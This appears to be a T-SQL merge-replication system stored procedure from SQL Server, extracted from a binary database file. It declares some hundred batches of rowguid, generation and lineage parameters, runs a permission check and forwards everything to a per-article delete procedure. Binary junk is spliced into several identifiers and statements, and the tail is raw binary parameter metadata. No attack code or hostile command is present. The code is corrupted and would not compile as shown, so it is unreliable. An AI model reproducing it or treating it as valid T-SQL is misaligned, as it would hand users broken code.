    @generation35 bigint = NULL,
    @lineage_old35 varbinary(311) = NULL,
    @lineage_new35 varbinary(311) = NULL,
    @rowguid36 uniqueidentifier = NULL,
    @metadata_type36 tinyint = NULL, 
    @generation36 bigint = NULL,
    @lineage_old36 varbinary(311) = NULL,
    @lineage_new36 varbinary(311) = NULL,
    @rowguid37 uniqueidentifier = NULL,
    @metadata_type37 tinyint = NULL, 
    @generation37 bigint = NULL,
    @lineage_old37 varbinary(311) = NULL,
    @lineage_new37 varbinary(311) = NULL,
    @rowguid38 uniqueidentifier = NULL,
    @metadata_type38 tinyint = NULL, 
    @generation38 bigint = NULL,
    @lineage_old38 varbinary(311) = NULL,
    @lineage_new38 varbinary(311) = NULL,
    @rowguid39 uniqueidentifier = NULL,
    @metadata_type39 tinyint = NULL, 
    @generation39 bigint = NULL,
    @lineage_old39 varbinary(311) = NULL,
    @lineage_new39 varbinary(311) = NULL,
    @rowguid40 uniqueidentifier = NULL,
    @metadata_type40 tinyint = NULL, 
    @generation40 bigint = NULL,
    @lineage_old40!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(-	K$[vv varbinary(311) = NULL,
    @lineage_new40 varbinary(311) = NULL,
    @rowguid41 uniqueidentifier = NULL,
    @metadata_type41 tinyint = NULL, 
    @generation41 bigint = NULL,
    @lineage_old41 varbinary(311) = NULL,
    @lineage_new41 varbinary(311) = NULL,
    @rowguid42 uniqueidentifier = NULL,
    @metadata_type42 tinyint = NULL, 
    @generation42 bigint = NULL,
    @lineage_old42 varbinary(311) = NULL,
    @lineage_new42 varbinary(311) = NULL,
    @rowguid43 uniqueidentifier = NULL,
    @metadata_type43 tinyint = NULL, 
    @generation43 bigint = NULL,
    @lineage_old43 varbinary(311) = NULL,
    @lineage_new43 varbinary(311) = NULL,
    @rowguid44 uniqueidentifier = NULL,
    @metadata_type44 tinyint = NULL, 
    @generation44 bigint = NULL,
    @lineage_old44 varbinary(311) = NULL,
    @lineage_new44 varbinary(311) = NULL,
    @rowguid45 uniqueidentifier = NULL,
    @metadata_type45 tinyint = NULL, 
    @generation45 bigint = NULL,
    @lineage_old45 varbinary(311) = NULL,
    @lineage_new45 varbinary(311) = NULL,
    @rowguid46 uniqueidentifier = NULL,
    @metadata_type46 tinyint = NULL, 
    @generation46 bigint = NULL,
    @lineage_old46 varbinary(311) = NULL,
    @lineage_new46 varbinary(311) = NULL,
    @rowguid47 uniqueidentifier = NULL,
    @metadata_type47 tinyint = NULL, 
    @generation47 bigint = NULL,
    @lineage_old47 varbinary(311) = NULL,
    @lineage_new47 varbinary(311) = NULL,
    @rowguid48 uniqueidentifier = NULL,
    @metadata_type48 tinyint = NULL, 
    @generation48 bigint = NULL,
    @lineage_old48 varbinary(311) = NULL,
    @lineage_new48 varbinary(311) = NULL,
    @rowguid49 uniqueidentifier = NULL,
    @metadata_type49 tinyint = NULL, 
    @generation49 bigint = NULL,
    @lineage_old49 varbinary(311) = NULL,
    @lineage_new49 varbinary(311) = NULL,
    @rowguid50 uniqueidentifier = NULL,
    @metadata_type50 tinyint = NULL, 
    @generation50 bigint = NULL,
    @lineage_old50 varbinary(311) = NULL,
    @lineage_new50 varbinary(311) = NULL,
    @rowguid51 uniqueidentifier = NULL,
    @metadata_type51 tinyint = NULL, 
    @generation51 bigint = NULL,
    @lineage_old51 varbinary(311) = NULL,
    @lineage_new51 varbinary(311) = NULL,
    @rowguid52 uniqueidentifier = NULL,
    @metadata_type52 tinyint = NULL, 
    @generation52 bigint = NULL,
    @lineage_old52 varbinary(311) = NULL,
    @lineage_new52 varbinary(311) = NULL,
    @rowguid53 uniqueidentifier = NULL,
    @metadata_type53 tinyint = NULL, 
    @generation53 bigint = NULL,
    @lineage_old53 varbinary(311) = NULL,
    @lineage_new53 varbinary(311) = NULL,
    @rowguid54 uniqueidentifier = NULL,
    @metadata_type54 tinyint = NULL, 
    @generation54 bigint = NULL,
    @lineage_old54 varbinary(311) = NULL,
    @lineage_new54 varbinary(311) = NULL,
    @rowguid55 uniqueidentifier = NULL,
    @metadata_type55 tinyint = NULL, 
    @generation55 bigint = NULL,
    @lineage_old55 varbinary(311) = NULL,
    @lineage_new55 varbinary(311) = NULL,
    @rowguid56 uniqueidentifier = NULL,
    @metadata_type56 tinyint = NULL, 
    @generation56 bigint = NULL,
    @lineage_old56 varbinary(311) = NULL,
    @lineage_new56 varbinary(311) = NULL,
    @rowguid57 uniqueidentifier = NULL,
    @metadata_type57 tinyint = NULL, 
    @generation57 bigint = NULL,
    @lineage_old57 varbinary(311) = NULL,
    @lineage_new57 varbinary(311) = NULL,
    @rowguid58 uniqueidentifier = NULL,
    @metadata_type58 tinyint = NULL, 
    @generation58 bigint = NULL,
    @lineage_old58 varbinary(311) = NULL,
    @lineage_new58 varbinary(311) = NULL,
    @rowguid59 uniqueidentifier = NULL,
    @metadata_type59 tinyint = NULL, 
    @generation59 bigint = NULL,
    @lineage_old59 varbinary(311) = NULL,
    @lineage_new59 varbinary(311) = NULL,
    @rowguid60 uniqueidentifier = NULL,
    @metadata_type60 tinyint = NULL, 
    @generation60 bigint = NULL,
    @lineage_old60 varbinary(311) = NULL,
    @lineage_new60 varbinary(311) = NULL,
    @rowguid61 uniqueidentifier = NULL,
    @metadata_type61 tinyint = NULL, 
    @generation61 bigint = NULL,
    @lineage_old61 varbinary(311) = NULL,
    @lineage_new61 varbinary(311) = NULL,
    @rowguid62 uniqueidentifier = NULL,
    @metadata_type62 tinyint = NULL, 
    @generation62 bigint = NULL,
    @lineage_old62 varbinary(311) = NULL,
    @lineage_new62 varbinary(311) = NULL,
    @rowguid63 uniqueidentifier = NULL,
    @metadata_type63 tinyint = NULL, 
    @generation63 bigint = NULL,
    @lineage_old63 varbinary(311) = NULL,
    @lineage_new63 varbinary(311) = NULL,
    @rowguid64 uniqueidentifier = NULL,
    @metadata_type64 tinyint = NULL, 
    @generation64 bigint = NULL,
    @lineage_old64 varbinary(311) = NULL,
    @lineage_new64 varbinary(311) = NULL,
    @rowguid65 uniqueidentifier = NULL,
    @metadata_type65 tinyint = NULL, 
    @generation65 bigint = NULL,
    @lineage_old65 varbinary(311) = NULL,
    @lineage_new65 varbinary(311) = NULL,
    @rowguid66 uniqueidentifier = NULL,
    @metadata_type66 tinyint = NULL, 
    @generation66 bigint = NULL,
    @lineage_old66 varbinary(311) = NULL,
    @lineage_new66 varbinary(311) = NULL,
    @rowguid67 uniqueidentifier = NULL,
    @metadata_type67 tinyint = NULL, 
    @generation67 bigint = NULL,
    @lineage_old67 varbinary(311) = NULL,
    @lineage_new67 varbinary(311) = NULL,
    @rowguid68 uniqueidentifier = NULL,
    @metadata_type68 tinyint = NULL, 
    @generation68 bigint = NULL,
    @lineage_old68 varbinary(311) = NULL,
    @lineage_new68 varbinary(311) = NULL,
    @rowguid69 uniqueidentifier = NULL,
    @metadata_type69 tinyint = NULL, 
    @generation69 bigint = NULL,
    @lineage_old69 varbinary(311) = NULL,
    @lineage_new69 varbinary(311) = NULL,
    @rowguid70 uniqueidentifier = NULL,
    @metadata_type70 tinyint = NULL, 
    @generation70 bigint = NULL,
    @lineage_old70 varbinary(311) = NULL,
    @lineage_new70 varbinary(311) = NULL,
    @rowguid71 uniqueidentifier = NULL,
    @metadata_type71 tinyint = NULL, 
    @generation71 bigint = NULL,
    @lineage_old71 varbinary(311) = NULL,
    @lineage_new71 varbinary(311) = NULL,
    @rowguid72 uniqueidentifier = NULL,
    @metadata_type72 tinyint = NULL, 
    @generation72 bigint = NULL,
    @lineage_old72 varbinary(311) = NULL,
    @lineage_new72 varbinary(311) = NULL,
    @rowguid73 uniqueidentifier = NULL,
    @metadata_type73 tinyint = NULL, 
    @generation73 bigint = NULL,
    @lineage_old73 varbinary(311) = NULL,
    @lineage_new73 varbinary(311) = NULL,
    @rowguid74 uniqueidentifier = NULL,
    @metadata_type74 tinyint = NULL, 
    @generation74 bigint = NULL,
    @lineage_old74 varbinary(311) = NULL,
    @lineage_new74 varbinary(311) = NULL,
    @rowguid75 uniqueidentifier = NULL,
    @metadata_type75 tinyint = NULL, 
    @generation75 bigint = NULL,
    @lineage_old75 varbinary(311) = NULL,
    @lineage_new75 varbinary(311) = NULL,
    @rowguid76 uniqueidentifier = NULL,
    @metadata_type76 tinyint = NULL, 
    @generation76 bigint = NULL,
    @lineage_old76 varbinary(311) = NULL,
    @lineage_new76 varbinary(311) = NULL,
    @rowguid77 uniqueidentifier = NULL,
    @metadata_type77 tinyint = NULL, 
    @generation77 bigint = NULL,
    @lineage_old77 varbinary(311) = NULL,
    @lineage_new77 varbinary(311) = NULL,
    @rowguid78 uniqueidentifier = NULL,
    @metadata_type78 tinyint = NULL, 
    @generation78 bigint = NULL,
    @lineage_old78 varbinary(311) = NULL,
    @lineage_new78 varbinary(311) = NULL,
    @rowguid79 uniqueidentifier = NULL,
    @metadata_type79 tinyint = NULL, 
    @generation79 bigint = NULL,
    @lineage_old79 varbinary(311) = NULL,
    @lineage_new79 varbinary(311) = NULL,
    @rowguid80 uniqueidentifier = NULL,
    @metadata_type80 tinyint = NULL, 
    @generation80 bigint = NULL,
    @lineage_old80 varbinary(311) = NULL,
    @lineage_ne!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(-	gpvvw80 varbinary(311) = NULL,
    @rowguid81 uniqueidentifier = NULL,
    @metadata_type81 tinyint = NULL, 
    @generation81 bigint = NULL,
    @lineage_old81 varbinary(311) = NULL,
    @lineage_new81 varbinary(311) = NULL,
    @rowguid82 uniqueidentifier = NULL,
    @metadata_type82 tinyint = NULL, 
    @generation82 bigint = NULL,
    @lineage_old82 varbinary(311) = NULL,
    @lineage_new82 varbinary(311) = NULL,
    @rowguid83 uniqueidentifier = NULL,
    @metadata_type83 tinyint = NULL, 
    @generation83 bigint = NULL,
    @lineage_old83 varbinary(311) = NULL,
    @lineage_new83 varbinary(311) = NULL,
    @rowguid84 uniqueidentifier = NULL,
    @metadata_type84 tinyint = NULL, 
    @generation84 bigint = NULL,
    @lineage_old84 varbinary(311) = NULL,
    @lineage_new84 varbinary(311) = NULL,
    @rowguid85 uniqueidentifier = NULL,
    @metadata_type85 tinyint = NULL, 
    @generation85 bigint = NULL,
    @lineage_old85 varbinary(311) = NULL,
    @lineage_new85 varbinary(311) = NULL,
    @rowguid86 uniqueidentifier = NULL,
    @metadata_type86 tinyint = NULL, 
    @generation86 bigint = NULL,
    @lineage_old86 varbinary(311) = NULL,
    @lineage_new86 varbinary(311) = NULL,
    @rowguid87 uniqueidentifier = NULL,
    @metadata_type87 tinyint = NULL, 
    @generation87 bigint = NULL,
    @lineage_old87 varbinary(311) = NULL,
    @lineage_new87 varbinary(311) = NULL,
    @rowguid88 uniqueidentifier = NULL,
    @metadata_type88 tinyint = NULL, 
    @generation88 bigint = NULL,
    @lineage_old88 varbinary(311) = NULL,
    @lineage_new88 varbinary(311) = NULL,
    @rowguid89 uniqueidentifier = NULL,
    @metadata_type89 tinyint = NULL, 
    @generation89 bigint = NULL,
    @lineage_old89 varbinary(311) = NULL,
    @lineage_new89 varbinary(311) = NULL,
    @rowguid90 uniqueidentifier = NULL,
    @metadata_type90 tinyint = NULL, 
    @generation90 bigint = NULL,
    @lineage_old90 varbinary(311) = NULL,
    @lineage_new90 varbinary(311) = NULL,
    @rowguid91 uniqueidentifier = NULL,
    @metadata_type91 tinyint = NULL, 
    @generation91 bigint = NULL,
    @lineage_old91 varbinary(311) = NULL,
    @lineage_new91 varbinary(311) = NULL,
    @rowguid92 uniqueidentifier = NULL,
    @metadata_type92 tinyint = NULL, 
    @generation92 bigint = NULL,
    @lineage_old92 varbinary(311) = NULL,
    @lineage_new92 varbinary(311) = NULL,
    @rowguid93 uniqueidentifier = NULL,
    @metadata_type93 tinyint = NULL, 
    @generation93 bigint = NULL,
    @lineage_old93 varbinary(311) = NULL,
    @lineage_new93 varbinary(311) = NULL,
    @rowguid94 uniqueidentifier = NULL,
    @metadata_type94 tinyint = NULL, 
    @generation94 bigint = NULL,
    @lineage_old94 varbinary(311) = NULL,
    @lineage_new94 varbinary(311) = NULL,
    @rowguid95 uniqueidentifier = NULL,
    @metadata_type95 tinyint = NULL, 
    @generation95 bigint = NULL,
    @lineage_old95 varbinary(311) = NULL,
    @lineage_new95 varbinary(311) = NULL,
    @rowguid96 uniqueidentifier = NULL,
    @metadata_type96 tinyint = NULL, 
    @generation96 bigint = NULL,
    @lineage_old96 varbinary(311) = NULL,
    @lineage_new96 varbinary(311) = NULL,
    @rowguid97 uniqueidentifier = NULL,
    @metadata_type97 tinyint = NULL, 
    @generation97 bigint = NULL,
    @lineage_old97 varbinary(311) = NULL,
    @lineage_new97 varbinary(311) = NULL,
    @rowguid98 uniqueidentifier = NULL,
    @metadata_type98 tinyint = NULL, 
    @generation98 bigint = NULL,
    @lineage_old98 varbinary(311) = NULL,
    @lineage_new98 varbinary(311) = NULL,
    @rowguid99 uniqueidentifier = NULL,
    @metadata_type99 tinyint = NULL, 
    @generation99 bigint = NULL,
    @lineage_old99 varbinary(311) = NULL,
    @lineage_new99 varbinary(311) = NULL,
    @rowguid100 uniqueidentifier = NULL,
    @metadata_type100 tinyint = NULL, 
    @generation100 bigint = NULL,
    @lineage_old100 varbinary(311) = NULL,
    @lineage_new100 varbinary(311) = NULL
)
as
    set nocount on
    declare @procname nvarchar(270)
    declare @retcode int

    -- NOTE: this stored procedure returns 0 to indicate failure

    -- security check
    if (1 <> {fn ISPALUSER(@pubid)})
    begin
        RAISERROR (14126, 11, -1)
        return 0
    end

    if @check_permission = 1
    begin
        declare @objid int
        declare @permissions int
        
        select @objid=objid, @permissions=check_permissions from dbo.sysmergearticles 
            where nickname=@tablenick and (pubid is NULL or pubid=@pubid)
        if @objid is NULL
            return (0)

        exec @retcode = sys.sp_MSreplcheck_permission @objid = @objid, @type = 3, @permissions = @permissions
        if @retcode<>0 or @@ERROR<>0 
            return (4)
    end
    
    select @procname= 'dbo.' + delete_proc from dbo.sysmergearticles where nickname = @tablenick and pubid=@pubid

    select @retcode = 1
    exec @retcode = @procname
                        @rows_tobe_deleted,
                        @partition_id,
                        @rowguid1,
                        @metadata_type1, 
                        @generation1,
                        @lineage_old1,
                        @lineage_new1,
                        @rowguid2,
                        @metadata_type2, 
                        @generation2,
                        @lineage_old2,
                        @lineage_new2,
                        @rowguid3,
                        @metadata_type3, 
                        @generation3,
                        @lineage_old3,
                        @lineage_new3,
                        @rowguid4,
                        @metadata_type4, 
                        @generation4,
                        @lineage_old4,
                        @lineage_new4,
                        @rowguid5,
                        @metadata_type5, 
                        @generation5,
                        @lineage_old5,
                        @lineage_new5,
                        @rowguid6,
                        @metadata_type6, 
                        @generation6,
                        @lineage_old6,
                        @lineage_new6,
                        @rowguid7,
                        @metadata_type7, 
                        @generation7,
                        @lineage_old7,
                        @lineage_new7,
                        @rowguid8,
                        @metadata_type8, 
                        @generation8,
                        @lineage_old8,
                        @lineage_new8,
                        @rowguid9,
                        @metadata_type9, 
                        @generation9,
                        @lineage_old9,
                        @lineage_new9,
                        @rowguid10,
                        @metadata_type10, 
                        @generation10,
                        @lineage_old10,
                        @lineage_new10,
                        @rowguid11,
                        @metadata_type11, 
                        @generation11,
                        @lineage_old11,
                        @lineage_new11,
                        @rowguid12,
                        @metadata_type12, 
                        @generation12,
                        @lineage_old12,
                        @lineage_new12,
                        @rowguid13,
                        @metadata_type13, 
                        @generation13,
                        @lineage_old13,
                        @lineage_new13,
                        @rowguid14,
                        @metadata_type14, 
                        @generation14,
                        @lineage_old14,
                        @lineage_new14,
                        @rowguid15,
                        @metadata_type15, 
                        @generation15,
                  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(-	Kvv      @lineage_old15,
                        @lineage_new15,
                        @rowguid16,
                        @metadata_type16, 
                        @generation16,
                        @lineage_old16,
                        @lineage_new16,
                        @rowguid17,
                        @metadata_type17, 
                        @generation17,
                        @lineage_old17,
                        @lineage_new17,
                        @rowguid18,
                        @metadata_type18, 
                        @generation18,
                        @lineage_old18,
                        @lineage_new18,
                        @rowguid19,
                        @metadata_type19, 
                        @generation19,
                        @lineage_old19,
                        @lineage_new19,
                        @rowguid20,
                        @metadata_type20, 
                        @generation20,
                        @lineage_old20,
                        @lineage_new20,
                        @rowguid21,
                        @metadata_type21, 
                        @generation21,
                        @lineage_old21,
                        @lineage_new21,
                        @rowguid22,
                        @metadata_type22, 
                        @generation22,
                        @lineage_old22,
                        @lineage_new22,
                        @rowguid23,
                        @metadata_type23, 
                        @generation23,
                        @lineage_old23,
                        @lineage_new23,
                        @rowguid24,
                        @metadata_type24, 
                        @generation24,
                        @lineage_old24,
                        @lineage_new24,
                        @rowguid25,
                        @metadata_type25, 
                        @generation25,
                        @lineage_old25,
                        @lineage_new25,
                        @rowguid26,
                        @metadata_type26, 
                        @generation26,
                        @lineage_old26,
                        @lineage_new26,
                        @rowguid27,
                        @metadata_type27, 
                        @generation27,
                        @lineage_old27,
                        @lineage_new27,
                        @rowguid28,
                        @metadata_type28, 
                        @generation28,
                        @lineage_old28,
                        @lineage_new28,
                        @rowguid29,
                        @metadata_type29, 
                        @generation29,
                        @lineage_old29,
                        @lineage_new29,
                        @rowguid30,
                        @metadata_type30, 
                        @generation30,
                        @lineage_old30,
                        @lineage_new30,
                        @rowguid31,
                        @metadata_type31, 
                        @generation31,
                        @lineage_old31,
                        @lineage_new31,
                        @rowguid32,
                        @metadata_type32, 
                        @generation32,
                        @lineage_old32,
                        @lineage_new32,
                        @rowguid33,
                        @metadata_type33, 
                        @generation33,
                        @lineage_old33,
                        @lineage_new33,
                        @rowguid34,
                        @metadata_type34, 
                        @generation34,
                        @lineage_old34,
                        @lineage_new34,
                        @rowguid35,
                        @metadata_type35, 
                        @generation35,
                        @lineage_old35,
                        @lineage_new35,
                        @rowguid36,
                        @metadata_type36, 
                        @generation36,
                        @lineage_old36,
                        @lineage_new36,
                        @rowguid37,
                        @metadata_type37, 
                        @generation37,
                        @lineage_old37,
                        @lineage_new37,
                        @rowguid38,
                        @metadata_type38, 
                        @generation38,
                        @lineage_old38,
                        @lineage_new38,
                        @rowguid39,
                        @metadata_type39, 
                        @generation39,
                        @lineage_old39,
                        @lineage_new39,
                        @rowguid40,
                        @metadata_type40, 
                        @generation40,
                        @lineage_old40,
                        @lineage_new40,
                        @rowguid41,
                        @metadata_type41, 
                        @generation41,
                        @lineage_old41,
                        @lineage_new41,
                        @rowguid42,
                        @metadata_type42, 
                        @generation42,
                        @lineage_old42,
                        @lineage_new42,
                        @rowguid43,
                        @metadata_type43, 
                        @generation43,
                        @lineage_old43,
                        @lineage_new43,
                        @rowguid44,
                        @metadata_type44, 
                        @generation44,
                        @lineage_old44,
                        @lineage_new44,
                        @rowguid45,
                        @metadata_type45, 
                        @generation45,
                        @lineage_old45,
                        @lineage_new45,
                        @rowguid46,
                        @metadata_type46, 
                        @generation46,
                        @lineage_old46,
                        @lineage_new46,
                        @rowguid47,
                        @metadata_type47, 
                        @generation47,
                        @lineage_old47,
                        @lineage_new47,
                        @rowguid48,
                        @metadata_type48, 
                        @generation48,
                        @lineage_old48,
                        @lineage_new48,
                        @rowguid49,
                        @metadata_type49, 
                        @generation49,
                        @lineage_old49,
                        @lineage_new49,
                        @rowguid50,
                        @metadata_type50, 
                        @generation50,
                        @lineage_old50,
                        @lineage_new50,
                        @rowguid51,
                        @metadata_type51, 
                        @generation51,
                        @lineage_old51,
                        @lineage_new51,
                        @rowguid52,
                        @metadata_type52, 
                        @generation52,
                        @lineage_old52,
                        @lineage_new52,
                        @rowguid53,
                        @metadata_type53, 
                        @generation53,
                        @lineage_old53,
                        @lineage_new53,
                        @rowguid54,
                        @metadata_type54, 
                        @generation54,
                        @lineage_old54,
                        @lineage_new54,
                        @rowguid55,
                      !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(-	ܕvv  @metadata_type55, 
                        @generation55,
                        @lineage_old55,
                        @lineage_new55,
                        @rowguid56,
                        @metadata_type56, 
                        @generation56,
                        @lineage_old56,
                        @lineage_new56,
                        @rowguid57,
                        @metadata_type57, 
                        @generation57,
                        @lineage_old57,
                        @lineage_new57,
                        @rowguid58,
                        @metadata_type58, 
                        @generation58,
                        @lineage_old58,
                        @lineage_new58,
                        @rowguid59,
                        @metadata_type59, 
                        @generation59,
                        @lineage_old59,
                        @lineage_new59,
                        @rowguid60,
                        @metadata_type60, 
                        @generation60,
                        @lineage_old60,
                        @lineage_new60,
                        @rowguid61,
                        @metadata_type61, 
                        @generation61,
                        @lineage_old61,
                        @lineage_new61,
                        @rowguid62,
                        @metadata_type62, 
                        @generation62,
                        @lineage_old62,
                        @lineage_new62,
                        @rowguid63,
                        @metadata_type63, 
                        @generation63,
                        @lineage_old63,
                        @lineage_new63,
                        @rowguid64,
                        @metadata_type64, 
                        @generation64,
                        @lineage_old64,
                        @lineage_new64,
                        @rowguid65,
                        @metadata_type65, 
                        @generation65,
                        @lineage_old65,
                        @lineage_new65,
                        @rowguid66,
                        @metadata_type66, 
                        @generation66,
                        @lineage_old66,
                        @lineage_new66,
                        @rowguid67,
                        @metadata_type67, 
                        @generation67,
                        @lineage_old67,
                        @lineage_new67,
                        @rowguid68,
                        @metadata_type68, 
                        @generation68,
                        @lineage_old68,
                        @lineage_new68,
                        @rowguid69,
                        @metadata_type69, 
                        @generation69,
                        @lineage_old69,
                        @lineage_new69,
                        @rowguid70,
                        @metadata_type70, 
                        @generation70,
                        @lineage_old70,
                        @lineage_new70,
                        @rowguid71,
                        @metadata_type71, 
                        @generation71,
                        @lineage_old71,
                        @lineage_new71,
                        @rowguid72,
                        @metadata_type72, 
                        @generation72,
                        @lineage_old72,
                        @lineage_new72,
                        @rowguid73,
                        @metadata_type73, 
                        @generation73,
                        @lineage_old73,
                        @lineage_new73,
                        @rowguid74,
                        @metadata_type74, 
                        @generation74,
                        @lineage_old74,
                        @lineage_new74,
                        @rowguid75,
                        @metadata_type75, 
                        @generation75,
                        @lineage_old75,
                        @lineage_new75,
                        @rowguid76,
                        @metadata_type76, 
                        @generation76,
                        @lineage_old76,
                        @lineage_new76,
                        @rowguid77,
                        @metadata_type77, 
                        @generation77,
                        @lineage_old77,
                        @lineage_new77,
                        @rowguid78,
                        @metadata_type78, 
                        @generation78,
                        @lineage_old78,
                        @lineage_new78,
                        @rowguid79,
                        @metadata_type79, 
                        @generation79,
                        @lineage_old79,
                        @lineage_new79,
                        @rowguid80,
                        @metadata_type80, 
                        @generation80,
                        @lineage_old80,
                        @lineage_new80,
                        @rowguid81,
                        @metadata_type81, 
                        @generation81,
                        @lineage_old81,
                        @lineage_new81,
                        @rowguid82,
                        @metadata_type82, 
                        @generation82,
                        @lineage_old82,
                        @lineage_new82,
                        @rowguid83,
                        @metadata_type83, 
                        @generation83,
                        @lineage_old83,
                        @lineage_new83,
                        @rowguid84,
                        @metadata_type84, 
                        @generation84,
                        @lineage_old84,
                        @lineage_new84,
                        @rowguid85,
                        @metadata_type85, 
                        @generation85,
                        @lineage_old85,
                        @lineage_new85,
                        @rowguid86,
                        @metadata_type86, 
                        @generation86,
                        @lineage_old86,
                        @lineage_new86,
                        @rowguid87,
                        @metadata_type87, 
                        @generation87,
                        @lineage_old87,
                        @lineage_new87,
                        @rowguid88,
                        @metadata_type88, 
                        @generation88,
                        @lineage_old88,
                        @lineage_new88,
                        @rowguid89,
                        @metadata_type89, 
                        @generation89,
                        @lineage_old89,
                        @lineage_new89,
                        @rowguid90,
                        @metadata_type90, 
                        @generation90,
                        @lineage_old90,
                        @lineage_new90,
                        @rowguid91,
                        @metadata_type91, 
                        @generation91,
                        @lineage_old91,
                        @lineage_new91,
                        @rowguid92,
                        @metadata_type92, 
                        @generation92,
                        @lineage_old92,
                        @lineage_new92,
                        @rowguid93,
                        @metadata_type93, 
                        @generation93,
                        @lineage_old93,
                        @lineage_new93,
                        @rowguid94,
                        @metadata_type94, 
                        @generation94,
                        @lineage_old94,
                    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<*-	(Utvh>8^}4>!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`-)>
w0-{5
K@subscriber0-{5
00?@type0-{5
A@login0-{5
G@password0-{5
88
Y@commit_batch_size0-{5
88
Y@status_batch_size0-{5
88
U@flush_frequency0-{5
88
S@frequency_type0-{5
	88
[@frequency_interval0-{5

88
m@frequency_relative_interval0-{5
88
m@frequency_recurrence_factor0-{5
88
W@frequency_subday0-{5

88
i@frequency_subday_interval0-{5
88
g@active_start_time_of_day0-{5
88
c@active_end_time_of_day0-{5
88
Y@active_start_date0-{5
88
U@active_end_date0-{5
M@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S@metadata_type80-C+M@generation80-C,7O@lineage_old80-C-7O@lineage_new80-C.$$G@rowguid90-C/00S@metadata_type90-C0M@generation90-C17O@lineage_old90-C27O@lineage_new90-C3$$I@rowguid100-C400U@metadata_type100-C5O@generation100-C67Q@lineage_old100-C77Q@lineage_new100-C8$$I@rowguid110-C900U@metadata_type110-C:O@generation110-C;7Q@lineage_old110-C<7Q@lineage_new110-C=$$I@rowguid120-C>00U@metadata_type120-C?O@generation120-C@7Q@lineage_old120-CA7Q@lineage_new120-CB$$I@rowguid130-CC00U@metadata_type130-CDO@generation130-CE7Q@lineage_old130-CF7Q@lineage_new130-CG$$I@rowguid140-CH00U@metadata_type140-CIO@generation140-CJ7Q@lineage_old140-CK7Q@lineage_new140-CL$$I@rowguid150-CM00U@metadata_type150-CNO@generation150-CO7Q@lineage_old150-CP7Q@lineage_new150-CQ$$I@rowguid160-CR00U@metadata_type160-CSO@generation160-CT7Q@lineage_old160-CU7Q@lineage_new160-CV$$I@rowguid170-CW00U@metadata_type170-CXO@generation170-CY7Q@lineage_old170-CZ7Q@lineage_new170-C[$$I@rowguid180-C\00U@metadata_type180-C]O@generation180-C^7Q@lineage_old180-C_7Q@lineage_new180-C`$$I@rowguid190-Ca00U@metadata_type190-CbO@generation190-Cc7Q@lineage_old190-Cd7Q@lineage_new190-Ce$$I@rowguid200-Cf00U@metadata_type200-CgO@generation200-Ch7Q@lineage_old200-Ci7Q@lineage_new200-Cj$$I@rowguid210-Ck00U@metadata_type210-ClO@generation210-Cm7Q@lineage_old210-Cn7Q@lineage_new210-Co$$I@rowguid220-Cp00U@metadata_type220-CqO@generation220-Cr7Q@lineage_old220-Cs7Q@lineage_new220-Ct$$I@rowguid230-Cu00U@metadata_type230-CvO@generation230-Cw7Q@lineage_old230-Cx7Q@lineage_new230-Cy$$I@rowguid240-Cz00U@metadata_type240-C{O@generation240-C|7Q@lineage_old240-C}7Q@lineage_new240-C~$$I@rowguid250-C00U@metadata_type250-CO@generation250-C7Q@lineage_old250-C7Q@lineage_new250-C$$I@rowguid260-C00U@metadata_type260-CO@generation260-C7Q@lineage_old260-C7Q@lineage_new260-C$$I@rowguid270-C00U@metadata_type270-CO@generation27!!!!!!!!!!!!!!!!!!!8GXcx):EZm|'<O^	oz1@Q
\

q"3

>
